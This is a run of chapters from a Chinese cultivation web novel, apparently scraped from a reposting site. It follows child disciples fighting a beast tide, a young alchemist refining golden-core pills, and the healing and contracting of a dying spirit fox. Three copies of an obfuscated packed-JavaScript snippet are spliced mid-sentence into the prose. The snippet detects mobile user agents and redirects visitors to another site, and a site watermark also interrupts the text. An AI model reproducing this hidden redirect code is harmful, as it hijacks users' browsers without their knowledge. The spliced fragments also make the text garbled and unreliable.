“四师弟去帮一下右边! “三师妹做的很好,继续! “渺渺再大声点! 这场面,不像是在生死搏杀,反倒像是……在打一场配合完美、分工明确的团队竞技游戏。 云见月看着孩子们在绝境中迅速成长、 默契配合的样子眼中充满了欣慰和骄傲这便是她让他们历练的目的。 个人强大固然重要团队作战也必不可少。 她相信通过这次战斗他们一定会意识到团队之间的默契配合是多么重要。 她也希望孩子们通过这次的生死之战的磨合令他们的感情和羁绊更深刻。 虞青焰摇扇子的动作都慢了下来眼中掀起惊涛骇浪的同时也满是赞赏。 苏心瑶和林思思更是看得紧张又刺激卧了个原来战斗还可以这样打?受教了! 血腥气与妖兽的嘶吼混杂在一起弥漫在幽影森林中。 萧星尘一脚踹飞扑来的獠牙猪溅起的血花染红了他半边脸颊却丝毫未改他眼中的冷冽。 他在击退妖兽的同时还要兼顾指挥“玄天开黑小队”奇迹般地顶住了兽潮第一波凶猛的冲击。 妖兽的尸体在他们周围堆积成矮墙粘稠的血液浸透了土地。 然而情况依旧危急。 兽潮仿佛无穷无尽视线所及之处仍有数不清的猩红眼珠在黑暗中闪烁更多的妖兽正踏着同类的尸体疯狂涌来。 持续的高强度作战对灵力的消耗是巨大的。 鹿闻声掌心的火焰开始明灭不定小脸白得像纸;郁仙操控藤蔓的频率放缓额角汗珠顺着下巴滴落;铁峰的斧头挥砍间出现滞涩每一次格挡都震得手臂发麻;墨妍的剑光越来越散乱呼吸粗重得如同风箱。 萧星尘一脚踩碎扑来的毒蝎环视着仍在疯狂涌来的兽群小脸肃杀如铁竟没有丝毫慌乱。 他目光逐一掠过师弟师妹们声音沉稳地问:“怕吗?” “不怕!”四个小家伙齐声回应稚嫩的声音在血腥战场中透着一股奇异的坚定。 “对!不能怕!”萧星尘声音陡然拔高“师尊让我们出宗门是为了什么?” “历练!” “师尊是怎么教我们的?”萧星尘再问。 “师尊说:三十而立四十而不惑五十而知天命六十而耳顺七十而从心所欲不逾矩!” 小家伙们异口同声地背诵 墨妍正一剑刺穿妖兽咽喉闻言一个趔趄 ,剑尖差点戳到自己;铁峰刚接住巨熊一爪,听得这话手一软,被震得**三步。 “祖宗们!”铁峰抹了把脸上的血污,急得大喊,“这时候背什么书啊!” 萧星尘面色不改,朗声道:“三十而立,三十个妖兽才能让我站起来认真打!” 鹿闻声一团火球砸翻一片妖兽,接口:“四十而不惑,四十个妖兽我打起来毫不犹豫,不再困惑!” 郁仙藤蔓绞杀,清冷补充:“五十而知天命,五十个妖兽会被我打得以为见到了他们的天命!” 江迷雾剑光如电,精准点杀一只飞行妖禽,冷声道:“六十而耳顺,六十个妖兽在我身边求饶,我才会觉得耳根顺遂!” 苏渺渺努力维持着言灵祝福,小脸认真:“七十而从心所欲,不逾矩!七十个妖兽我才能随心所欲地出手,让他们彻底明白,我的规矩,就是规矩!” 墨妍和铁峰:“……” 两人内心已被巨大的无语淹没。 这都是什么魔鬼解读? 玄天宗的尊师就是这么教孩子的? 这已经不是中二病了,这是要把天捅破啊! 萧星尘气势如虹,声音穿透战场:“如今,围困我们的何止千百?此乃天赐的历练良机,正是检验我等修行、将师尊教诲践行至极致之时,我们要让师尊看看,她的徒弟,没有孬种!更要让这群妖兽看看,玄天宗所在之处,便是规矩立定之地!杀——” 这番夹杂着歪理邪说和强烈自信的“战前动员”,竟真的让四个小家伙眼中焕发出更加炽热的光芒,疲惫仿佛都被驱散了几分。 甚至连墨妍和铁峰都被那冲天的气势感染,胸中莫名涌起一股热血。 虽然还是觉得这帮孩子脑子可能有点问题,但……太**提气了! 热血归热血,灵力的枯竭是实实在在的。 两人不敢犹豫,立刻掏出之前郁仙给的极品补灵丹吞下。 丹药入腹,精纯磅礴的灵力瞬间涌向四肢百骸,几乎枯竭的丹田再次被填满,疲惫一扫而空。 “吼!爽!兄弟们,跟着尘哥,杀——!!!”铁峰感受到久违的力量感,巨斧挥动得虎虎生风。 墨妍也精神大振,剑法愈发凌厉。 接下来的战斗,进 入了更加惨烈和狂暴的阶段。 有了丹药支撑,七人小队仿佛不知疲倦的杀戮机器。 鹿闻声的火海再次汹涌澎湃,成片的妖兽在烈焰中化作焦炭。 江迷雾的身形如同鬼魅,剑尖每一次闪烁都必然带起一蓬血花和妖兽的哀嚎。 郁仙的藤蔓不再是束缚,更化作了夺命的绞索和狂暴的鞭挞,将妖兽抽打得骨断筋折。 铁峰和墨妍如同两座磐石,死死守住两翼,斧影剑光交织成死亡屏障。 萧星尘则游走各方,哪里压力大便支援哪里,拳头腿影所至,妖兽非死即伤。 苏渺渺的祝福声从未停歇,微弱却关键地提升着每个人的状态。 战场彻底化作了绞肉机。 残肢断臂四处飞溅,兽血汇成了小溪,浓郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453369|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血腥味几乎令人作呕。 妖兽的嘶吼、兵刃的碰撞、火焰的爆燃、藤蔓的破空声交织在一起。 一个时辰在疯狂的厮杀中转瞬即逝。 丹药带来的灵力再次消耗一空,前所未有的虚弱感袭来。 墨妍和铁峰脸色灰败,望着依旧望不到边的兽潮,心如死灰。 “完了……这一次,真的力竭了。 然而,下一秒,郁仙闪身到他们面前,小手一翻,是两个玉瓶。 “快吃。 铁峰和墨妍愣愣地接过,打开瓶盖,看着里面圆润剔透、丹纹清晰的极品补灵丹,简直不敢相信自己的眼睛。 这……这种宝贝丹药,居然跟糖豆一样一瓶一瓶地给? 巨大的惊喜和感激瞬间冲垮了铁峰的情绪,他眼眶一红,声音都带了哽咽,猛男落泪:“仙姐,你就是我亲姐,以后我铁峰这条命就是你的。 郁仙:“别废话,吃了继续。 “好勒,姐! 墨妍也激动得说不出话,只是重重地点点头,迅速将丹药分发下去。 灵力再次恢复。 战斗继续。 如此循环往复,灵力耗尽就吞服极品补灵丹,补充完毕立刻投入血腥厮杀。 这场惨烈的攻防战,足足持续了一天一夜。 幽影森林已然化作修罗地狱。 妖兽的尸体堆积成山,血液将大地染成深褐色,血气冲天。 而在这极致的消耗与补充中,在生死边缘的不断压迫下,每个人的经脉和丹田都经历着撕裂又重塑的痛苦过程,被迫一次次扩张,变得比以往更加宽阔坚韧,能够容纳和运转更多的灵力。 量变终于引发了质变。 最先突破的是本就已达筑基后期的鹿闻声。 在一次全力释放火焰后,他周身气息陡然暴涨,天地间的火灵气疯狂向他汇聚,一颗璀璨的金丹虚影在他丹田内缓缓凝聚成型。 鹿闻声掌心翻腾的火焰骤然变得狂暴无比,范围扩大了数倍,宛如一片焚天火海倾泻而下,瞬间将前方大片妖兽吞噬,烧得它们惨叫连连,顷刻间化为飞灰。 紧接着,郁仙和江迷雾身上也先后爆发出强大的气息,从筑基中期一举突破至筑基后期。 藤蔓变得更加坚韧狂暴,剑光愈发凌厉迫人。 苏渺渺的修为境界虽然没有提升,但她对言灵术的运用越发纯熟,祝福的效果和持续时间都显著增强。 铁峰在战斗中怒吼一声,突破至筑基后期。 而墨妍,本就处于筑基后期巅峰的她,气息一路攀升,直至达到了筑基后期大圆满的临界点,只差临门一脚,便可缔结金丹。 也就在此时,剩余的妖兽终于被这七个人类恐怖的韧性和实力吓破了胆。 它们发出几声惊恐的哀鸣,如潮水般向森林深处退去。 兽潮……退了。 劫后余生的疲惫感瞬间席卷了所有人。 但是,还不等他们松一口气,墨妍突然闷哼一声,脸色瞬间变得惨白如纸,手中的长剑“哐当”落地。 她痛苦地蹲下身,双手紧紧抱住自己,身体不受控制地剧烈颤抖起来,周身灵力开始剧烈波动,极其不稳定。 “阿妍姐姐你怎么了?” 孩子们立刻围拢过来,担忧地看着她。 铁峰脸色大变,急得团团转:“坏了坏了,阿妍这是……这是要突破金丹期了。” 刚刚突破金丹、正感受着强大力量的鹿闻声不明所以,眨着眼睛:“突破金丹是好事啊,现在正好突破呗!” “对呀对呀!”其他几个孩子也附和道,觉得这是水到渠成的好事。 铁峰看着这群明显不知人间疾苦的小妖 孽,脸上写满了无奈和焦急:“我的小祖宗们,你们天赋异禀,突破跟玩一样,可对我们散修来说,结丹那是一道生死关。” 他语速极快,声音里带着绝望:“多少散修卡在这一步,因为根基不稳、灵力不纯、心魔干扰,最后丹毁人亡,成功率连一成都不到,若有一颗下品凝金丹辅助,成功率或许能提到两三成……” “我们这次拼了命来接这个任务,就是为了凑够灵石,去给阿妍买一颗下品凝金丹……可现在……什么都没有准备…她怎么突破啊!” 铁峰痛苦地抱住了头,不敢想象接下来会发生什么。 他和墨妍相依为命多年,实在无法接受她可能陨落在此的结局。 就在他绝望无助之际,郁仙平静地走到他身边。 “蹲下。”清冷的声音不容置疑。 铁峰此刻心乱如麻,下意识地依言蹲下。 郁仙伸出小手,发现即使他蹲下,自己要拍他肩膀还是有些费力,便微微踮起脚尖,小手拍了拍他那肌肉虬结的肩膀,语气平淡得像是在说今天天气不错。 “不就是凝金丹。” “我现在就能炼。” 第117章 一次次被仙姐震撼,仙姐的大腿我们抱定了 铁峰的瞳孔骤然收缩,仿佛听到了什么天方夜谭。 他挤出一声干涩的苦笑,声音里满是哄孩子般的无奈: “仙姐,你就不要开玩笑了。我知道你师尊给了你很多保命的丹药,但你才六岁,又怎么可能会炼丹?” “即便你会炼丹,你也炼不出凝金丹,凝金丹乃是玄品丹药,非三品炼丹师不能够炼制。” 他的语气中,带着散修谈及高阶丹药时固有的敬畏与绝望,“我们散修拼尽一辈子,可能都求不来一颗玄品……” 不等他说完,就被郁仙打断:“我真的可以炼。” 一旁的萧星尘、鹿闻声、江迷雾和苏渺渺立刻像小鸡啄米一样齐刷刷地点头。 异口同声道:“三师妹/姐真的可以炼。” 铁峰对上他们清澈笃定的眼神,沉入谷底的心,竟然不受控制地生出了一丝微弱的希望。 可下一秒,希望的火苗就被一盆冷水浇灭,他的脸上写满沮丧:“就算仙姐你真的能炼,可炼制凝金丹所需要的凝金草乃是稀有灵草,我们又去哪里找?阿妍马上就要结丹了,我们根本没有时间去寻找啊……” 他蹲下身,双手捂住脸,声音里带着哽咽,满心的绝望几乎要溢出来。 郁仙清脆平静的声音再次响起,“凝金草,你不需要担心,我这里有。” 铁峰猛地抬起头,眼睛里充满了怀疑,“你怎么可能有这等稀有.**!!!” 话还没说完,他就瞪大了眼睛,眼珠子都快从眼眶里掉出来了。 只见郁仙从储物袋里,掏出了一株散发着柔和金光的灵草。 那灵草叶片薄如蝉翼,边缘自然卷曲,宛如金箔。 灵草散发出独特的香气,表面还缠绕着丝丝缕缕的灵气,赫然是一千年份的凝金草! 铁峰呆若木鸡地站在原地,嘴巴张得老大。 “千、千年份的……凝金草?!”铁峰的声音都变了调,感觉呼吸都要停滞了。 他这辈子见过的普通灵草都屈指可数,何曾想过有朝一日能如此近距离地看到一株千年份的稀有灵草。 “这、这……”他声音颤抖得厉害,“在下域,随便一株几十年份的凝金草都要卖一千多块下品灵石,如果炼制成下品凝金丹,一颗就能 卖到五千下品灵石,上百年份的凝金草只会更贵。 至于上千年份的……我只听说过每次秘境开启后,偶尔有大气运者才能从里面带出来一两株,立刻就会被送到大型拍卖行,拍出数万下品灵石的天价,仙姐你、你……” 他看向郁仙的眼神用震惊都不足以形容了。 “仙姐,你这千年份的凝金草是哪来的?” 郁仙一边取出炼丹炉,一边漫不经心道:“出宗门前,师尊给的。” 又是师尊? 铁峰感觉自己的心脏受到的冲击比过去几十年加起来都多,心中掀起了惊涛骇浪。 他突然想起,前些天,他们说在宗门时,上品丹当饭吃的话。 当时只觉得他们吹牛,如今看来,可能是真的。 连千年凝金草这种足以引起修士疯狂厮杀争夺的宝贝,都能随手给一个六岁的徒弟。 拿上品丹当饭吃,也就说得通了。 他越发的好奇,仙姐口中的师尊到底是何方神圣。 铁峰强压下心中的惊涛骇浪,赶忙问出另一个迫切的问题:“仙姐,你真的要用这么贵重的稀有灵草给阿妍炼丹吗?” 郁仙似乎对他这激动的反应很不解,微微歪着脑袋,用小奶音说着最颠覆人认知的话:“稀有吗?我师尊的药园子(秘境)里随处可见,这只是年份最低的,师尊说让我拿来练手。” “……” 铁峰只觉得眼前一阵眩晕,世界观都要被颠覆了。 随处可见? 年份最低? 拿来练手? 贫穷限制了他的想象,他拼命地想,也无法想象出那位大能的药园子得豪横成什么样。 就在他精神恍惚、认知被反复碾碎之际,郁仙已经开始熟练地从储物袋里往外掏其他辅助灵草。 一株株灵光闪烁、药香扑鼻的灵草被掏出来,每一株都有着千年以上的年份,珍贵无比,让他忍不住咋舌;而有些灵草,他连名字都叫不上来,只觉得灵气四溢,从灵草上的灵力波动就知绝非凡品。 每拿出一株,铁峰的眼皮就狂跳一下,心脏也跟着抽搐一下。 这哪里是在配药,这简直是在炫富。 紧接着,郁仙小手一挥,将所有灵草一股脑丢进炼丹 炉。 她盘膝坐在丹炉前,眼神专注而沉静,小手快速地掐动法诀,一道道灵气从指尖注入丹炉。 明明只是个六岁的孩童,此刻却仿佛一位经验老道的炼丹大师。 萧星尘等人一脸平静,对此早就稀松平常了。 铁峰却紧张得不行,双手紧紧握着拳头,指甲都快掐进掌心,眼睛一眨不眨地盯着丹炉,嘴里不停地小声祈祷:“一定要成功,一定要成功” 墨妍蹲在地上,浑身颤抖,豆大的汗珠从额头滚落,她死死咬着牙,强忍着结丹带来的剧痛。 转眼半炷香过去,一股浓郁到化不开的奇异药香,从丹炉的气孔中飘逸而出。 吸入一口,便觉灵台清明,周身疲惫一扫而空,灵力都变得异常活泼起来。 原本痛苦不堪、几乎蜷缩成一团的墨妍,在嗅到这沁人心脾的药香后,紧皱的眉头竟然奇迹般地舒展了一丝,体内那狂暴得快要撕裂她的灵力似乎都受到安抚,变得温顺了些许。 铁峰本以为炼制玄品丹药,过程必定繁复冗长,怎么也得几个时辰甚至更久,却没想到这么快,药香就飘出来了。 又过了一会儿,“轰”的一声,丹炉盖子自动飞起,九颗流转着绚丽丹纹的极品凝金丹从丹炉中飞出,悬浮在半空中,散发着耀眼的光芒。 铁峰见状,只觉得心跳都快停止了。 他又惊又喜,语无伦次:“极、极品凝金丹?九颗?成了!真的成了!天哪,仙姐你真神了,哈哈哈——阿妍有救了!有救了!” 铁峰激动得恨不得立刻冲上去抱住郁仙,狠狠亲她可爱迷人的小脸蛋两口表达感激。 但这个念头刚冒出来,就看到仙姐一个嫌弃的眼神扫过来,他立刻一个急刹车,傻笑着,不敢放肆。 就在这时,苏渺渺歪着脑袋,满脸疑惑:“咦?三师姐,你这次怎么就出了九颗丹药?” 江迷雾也跟着附和:“是呀是呀,以往三师姐都是十成的成丹率,这次却只出了九颗丹药。” 鹿闻声认真地说:“三师妹,你的炼丹技艺有待提高啊。” 萧星尘则温和地说:“偶尔一次出差错,也是人之常情,下次,三师妹一定能成功。” 铁峰只觉得脑袋“嗡”的一声。 什、什么? 九成成丹率,而且还是极品品质,他们居然还不满意? 听这意思,以前都是十成?十成的极品成丹率? 这也太逆天了! 仙姐还是人吗? 这简直是对整个炼丹师行业的降维打击,是把他几十年认知按在地上疯狂摩擦。 郁仙蹙起了秀气的眉头,琉璃般的眸子里闪过一丝懊恼,一看便知对自己的这次发挥不太满意。 果然,师尊让她多加练习是正确的。 太久没用普通丹炉亲手炼制,手感生疏了,还是不能只依赖全自动炼丹炉。 她轻轻叹了口气,“虽然成单率低了点,但助阿妍结丹,应该没问题。 铁峰的世界观再次崩塌。 炼制出九颗极品凝金丹,你还不满意? 你知道这九颗丹药拿出去,足以让无数卡在筑基大圆满的散修打破头、掀起腥风血雨,甚至能让一些小门派当作镇派之宝吗? 然而,更让他头皮发麻的还在后面。 郁仙看也没看那些丹药,像是递出一把糖豆般,随手就直接塞到了铁峰的大手里:“给阿妍吃了吧,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453370|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗不够就两颗,两颗不够就三颗……九颗下来,总能结丹的,若还是不成,我建议你们也别修炼了,直接回凡间界养猪算了。 铁峰眼皮一跳,再次见识到了什么叫“豪无人性。 什么叫努力在天赋面前,一文不值。 仙姐这种简单粗暴的方式,对他这个穷惯了的散修造成了成吨的心理暴击。 他压下惊愕,赶忙将一颗金光灿灿、丹纹流转的丹药,喂给了墨妍。 丹药入口即化,磅礴而温和的药力瞬间化开,涌入墨妍的四肢百骸奇经八脉。 墨妍发出一声压抑已久的仿佛解脱般的呻吟,周身那狂暴肆虐,几乎要将她撑爆的灵力像是终于找到了归宿,开始以惊人的速度、井然有序地向着她丹田处疯狂汇聚。 肉眼可见的灵气漩涡在她头顶迅速形成。 她丹田内开始凝聚金丹。 整个过程水到渠成,顺畅得令人咋舌。 足见,郁仙炼制出的丹药,水准多高。 约莫半个时辰后,那巨大的灵气漩涡才缓缓散去,一股强大的、稳定的、属于金 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 丹期修士的灵压从墨妍体内稳定地散发出来。 她猛地睁开双眼,眼中璀璨的精光一闪而逝。 成功了,而且是完美结丹! “阿妍! 墨妍仔细感受着体内那从未有过的强大力量和蓬勃生机,她先是回应了铁峰一个眼神,随后,噗通一声,单膝跪在郁仙面前,看向郁仙的目光,犹如在看赐予她生命的神明,满满的敬仰与坚定。 “仙姐,我墨妍这条命,是你给的!这金丹大道,是也是你赐予的!从今往后,我墨妍就是你的人。 “但有所命,万死不辞! “此誓,天地共鉴! 铁峰也反应过来,紧跟着单膝跪地,声音洪亮如钟,带着不容置疑的忠诚:“还有我铁峰,仙姐,以后我们俩的命,就是你的,刀山火海,只要你一声令下,绝不皱一下眉头。若违此誓,天诛地灭! 郁仙看着跪在自己面前、比自己高大不知多少的两人,小小的身子挺得笔直,她稍稍抬起小手虚扶了一下,语气依旧平淡清冷,却带着一种与她年龄不符的力量:“起来吧,一颗丹药便助你结丹,看来你的资质也还不错。你们既叫我一声姐,我自是要护你们周全。 她那小大人般的老成模样和霸气话语,让暗处的云见月、虞青焰、苏心瑶和林思思四人嘴角忍不住一阵抽搐,想笑又觉得无比欣慰。 铁峰激动地站起身,小心翼翼地将手里那还剩下的八颗极品凝金丹,万分恭敬地递还给郁仙。 “仙姐,剩下的还给…… 郁仙随意地一摆手,“我不需要,送给你们了,就当是……你们认我做姐的见面礼。 墨妍连忙摇头,“这太贵重了,仙姐,我们不能收!而且你修为已达筑基后期,结丹时也需要…… 郁仙摇头,斩钉截铁,“我不需要。 墨妍和铁峰:“…… 两人被噎得彻底说不出话。 是呀,仙姐这样的人物,突破金丹又怎么可能需要丹药辅助。 就像鹿闻声在战斗中那顺畅无比、毫无瓶颈、水到渠成般的结丹过程。 他们瞬间就明白了,对于这几个根本不能以常理度之的妖孽来说,结丹可能真的就像呼吸一样简单。 这一刻,铁峰和墨妍心中涌起无限感慨。 自从遇到这几个小家伙,他们的人生发生了翻天覆地的变化,体验到了从未有过的另一种人生。 原本,他们想着完成任务后就分道扬镳。 可现在,他们只想紧紧地跟随这群小祖宗,打死也不分开。 这粗壮得突破天际的金大腿,必须抱紧了。 说不定,他们这辈子最大的气运,就是遇到他们。 他们,就是两人莫大的机缘。 第118章 仙姐收了神通吧,小弟们受不了刺激了 墨妍成功结丹的喜悦还未完全散去,她忽然想起什么,环顾四周,语气带着一丝急切:“月影灵狐呢?” 铁峰猛然惊醒,一拍脑门,懊恼道:“该死!刚才只顾着担心你结丹,把那小东西给忘了,它不会已经趁着兽潮退去,也跟着跑了吧?” 众人立刻散开搜寻。 萧星尘眼神锐利,很快便在一堆妖兽残骸旁发现了目标。 “在这里。”他上前,伸手抓住了尾巴,将月影灵狐提到了众人面前。 此时的月影灵狐,早已失去了最初的灵动,软绵绵地垂着头,连挣扎的力气都没了。 鹿闻声凑近了仔细观察,“该不会是我们与兽潮混战的时候,不小心伤到它了吧?” 江迷雾肉乎乎的小手戳了戳狐狸肚皮,那团毛茸茸突然剧烈抽搐,一声气若游丝的嘤咛让苏渺渺惊喜道: “太好了太好了,它还活着呢!” 郁仙清冷的目光在月影灵狐身上扫视一圈,道:“虽然活着,但也快**。” “伤的这么重?”墨妍闻言,立刻掐了个清尘诀,柔和的光芒拂过灵狐的身体,瞬间将其毛发上的血污清理得干干净净。 铁峰盯着光洁如新的小狐狸:“怪了,它身上没有伤口啊,怎么就要**?” 墨妍的神识如水般温柔的探入狐狸体内,片刻后,她脸上浮现惊愕之色:“经脉寸断,妖丹将碎。妖丹一旦破碎,灵力尽散,它必死无疑。” “这好端端的,怎么会这样?”铁峰百思不得其解,盯着小狐狸叹气:“你说你这只小狐狸,我们只不过想要你尾巴尖上的一撮**而已,又不是要你的命,你何必那么激动,非要引来兽潮?这下好了,肯定是被那些发狂的妖兽误伤了。” 墨妍却缓缓摇头,语气肯定:“不是妖兽所伤。” “若被外力击伤,皮**必有破损,它体表完好无损,所受皆是极为严重的内伤。依我看”她沉吟片刻,做出了推测,“这恐怕是它强行激活体内潜藏的九尾狐血脉导致的反噬。” 她看向奄奄一息的小狐狸,眼中带着一丝怜悯:“它并非纯血的神兽九尾狐,只是继承了一部分远古血脉的月影灵狐。 当时它误以为我们要伤害它,求生本能爆发,不顾一切地引动了那丝它根本 无法完全掌控的至高血脉之力,试图化身九尾来对抗我们。 然而它的肉身和妖丹强度,远远不足以承载那磅礴的力量,最终被那力量从内部生生震裂了经脉和妖丹。” 经过她这番解释,大家这才恍然大悟,明白了这狐狸为何会落到如此境地。 铁峰挠挠头,看着气息越来越微弱的小狐狸,有些为难,但还是说道:“唉,虽然它挺惨,但咱们的任务不就是它尾巴尖的那点**吗?既然现在逮到它了,那就……赶紧取了**吧?” 苏渺渺眨巴着水汪汪的大眼睛,小脸上满是同情:“可是……它看起来好可怜呀……” 江迷雾也用力点头,婴儿肥的脸蛋皱成一团:“三师姐能救救它吗?” 墨妍苦笑摇头:“它这伤势恐怕只有传说中的天阶丹药大还丹才能重塑经脉、修补妖丹。可大还丹乃是疗伤至宝,珍贵无比,我们哪里会有……” “大还丹?”苏渺渺眼睛突然一亮,“三师姐,你会炼制啊!” “什么?” 墨妍和铁峰异口同声地惊叫起来,那样子比见到兽潮还要惊恐。 铁峰的声音直接劈了叉,结结巴巴地道:“天天天…天阶丹药?仙、仙姐…你你你连这都能炼?那不是得…得是七品、八品以上的炼丹师才能炼制的丹药吗?” 他感觉自己的舌头都在打结,世界观再次被按在地上狠狠摩擦。 墨妍也是倒吸一口凉气,心脏狂跳,看郁仙的眼神已经不是在看一个孩子,而是在仰望一座深不可测的丹道至尊。 六岁的七品炼丹师? 这消息要是传出去,整个修真界的炼丹师都得集体自闭! 然而,下一刻,他们就看到郁仙轻轻地摇了摇头。 墨妍和铁峰见状,心里那根绷紧的弦稍微松了一下。 他们就说不可能。 果然是他们想多了。 仙姐再厉害,毕竟年纪摆在这里,天阶丹药那确实是另一个维度的东西了,和玄品的凝金丹不可同日而语。 刚才真是被吓得失了智…… 结果,他们这口气还没完全松下去,就听到郁仙用那标志性的、平淡无波的小奶音,遗憾道:“炼制大还丹,需要主药还阳草,出宗门时,师尊并没有给我还阳 草。” 墨妍和铁峰:“……” 两人彻底石化,仿佛被九天玄雷同时劈中,外焦里嫩,魂飞天外。 所、所以……重点不是能不能炼……而是……没、有、材、料? 听这意思,如果材料齐全,您老是真的能上手炼是吧? 仙姐!您这随口一说,知不知道这话有多吓人? 两人的心脏今天经历了太多,已经快要**了。 萧星尘提着手里气若游丝的小狐狸,也有些惋惜:“那怎么办?这狐狸身负九尾血脉,就这么**,确实太可惜了。” 就在这时,奄奄一息的月影灵狐,不知从哪儿生出了一丝力气,艰难地睁开了一双湿漉漉的、充满哀求和绝望的眼睛。 它的目光越过所有人,直直地望向郁仙。 刚才郁仙炼制凝金丹时,它感知到了。 直觉告诉它,眼前这个绿衣少女,是它唯一的生机。 它冲着郁仙,发出极其微弱却又异常执着的嘤咛声,那声音如泣如诉,哀婉欲绝,充满了求生欲,一声声,仿佛直接敲在人的心尖上。 郁仙琥珀色的眸子平静无波地看着它:“你想求我救你?” 月影灵狐立刻发出一声哀求的嘤咛,眼中甚至滚下大颗的泪珠。 “你召来兽潮,给我们惹了天大的麻烦,险些让我们全军覆没。”郁仙的声音听不出什么情绪,“我凭什么要救你?救了你,于我而言,有何好处?” 小狐狸听了这话,眼中闪过巨大的绝望。 但求生本能压过了一切,它集中起最后残存的神念,一股微弱却清晰的神识传递向郁仙。 那是一个稚嫩如奶娃娃的声音,带着哭腔和无比的恳切:“救救我……求求你……我愿意……我愿意与你签订主仆契约,认你为主,终身追随,绝不背叛……只要你能救我……” 郁仙双眸微眯:“你想要与我契约?” 月影灵狐立刻发出急促而肯定的嘤咛声,眼中充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453371|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了祈求。 墨妍在一旁闻言,脸上顿时露出喜色,连忙对郁仙道:“仙姐!它虽非纯血神兽,但身负九尾狐血脉,潜力无穷,在整个下域,据我所知,拥有神兽血脉的恐怕仅此一只,绝对是顶尖的灵兽选择,契约它绝对不亏!只是…… ” 她看了一眼濒死的灵狐“它现在这状态……” 铁峰也急切地看向郁仙“仙姐你还有别的办法吗?哪怕能暂时吊住它的命也好啊!” 郁仙没有立刻回答小脸上一片严肃似乎在权衡思考。 她想起了在药仙谷时郁明轩那双贪婪而疯狂的眼睛以及他那时说的话:“你吃了枯荣轮回菇你的血肉已经融合了枯荣之力我只要喝了你的血就能修复丹田了!” 如果她的血液真的蕴含那种生死轮回之力那或许真的能修复这狐狸破碎的经脉和妖丹。 她的目光定定地落在月影灵狐身上那目光深邃而具有压迫力完全不像一个孩童。 月影灵狐被她看得瑟瑟发抖却又不敢移开视线只能更加哀婉地嘤咛着。 半晌郁仙才淡淡开口:“好。” 一个字却让所有人心头一跳。 她继续道声音虽轻却带着不容置疑的冰冷:“我可以救你但我救活了你你若敢出尔反尔……” 她没有说下去但那未尽的语意中的杀意让周围空气都似乎冷了几分。 月影灵狐身体一颤拼命地发出表示臣服和绝对不会背叛的微弱意念。 “大师兄把它放下。”郁仙吩咐道。 萧星尘依言将月影灵狐轻轻放在地上。 在所有人惊愕的目光中郁仙抬起自己的小手灵力在自己白嫩的掌心轻轻一划—— 顿时一道细小的伤口出现鲜红的血珠瞬间涌了出来。 “仙姐你这是做什么?”墨妍和铁峰同时惊呼出声下意识就想上前阻止。 郁仙却不容置疑道:“别问!” 他们被她话语中不容置疑的威严所慑心头一凛即将迈出的脚步硬生生钉在原地竟生不出半分违逆的念头。 所有人都屏息凝神只见郁仙将流血的手掌递到月影灵狐的嘴边。 那原本奄奄一息的月影灵狐在嗅到血液气息的瞬间黯淡的眼睛里猛地迸发出惊人的渴望与希冀。 它挣扎着抬起头伸出小舌头拼命地舔舐吞咽起来。 随着郁仙的血液流入月影灵狐身上微弱的气息以肉眼可见的速度开始变得强盛起来。 它体内那些断裂的经脉被一股无形的生命力量连接、重塑;妖丹上那些触目惊心的裂纹也在飞速地弥合、修复。 原本暗淡无光的毛发重新变得银光流转甚至比之前更加耀眼。 不过是十几息的时间濒死到只能任人宰割的小狐狸竟然一翻身从地上站了起来。 它兴奋地绕着郁仙转圈发出欢快而亲昵的嘤咛声不断用脑袋蹭着郁仙的腿那双狐眼里充满了感激、敬畏以及彻底的臣服。 墨妍和铁峰已经彻底看傻了张着嘴 起死回生了? 仙姐的血到底是什么做的? 竟然比那天阶大还丹还要厉害? 这已经不是炼丹术的范畴了这简直是……神迹啊! 今天发生的每一件事都在疯狂地冲击着他们几十年来形成的固有认知。 第119章 与月影灵狐契约,看到了传承记忆 在一片尸山血海中,小小的郁仙站得笔直。 脚边的月影灵狐仰头望着她,紫金色的眼眸里充满了敬畏与臣服的温顺。 郁仙俯视着它,眸子里带着与她年龄不符的威严。 她如同女王恩赐自己的骑士般,缓缓伸出食指,小狐狸仰着头,对上她清冷深邃的视线,它小心翼翼地张开嘴,露出细小的尖牙,极其轻柔地衔住郁仙的指尖,用牙尖刺破了一点皮肉。 一丝本源精血从郁仙指间沁出,落入小狐狸口中。 霎时间,光芒大盛。 一个金色的契约法阵在一人一兽脚下形成,有玄妙的符文在法阵之上流转,缠绕着她们,郁仙与月影灵狐的心神瞬间相连,一股温暖的意识涌入她的识海。 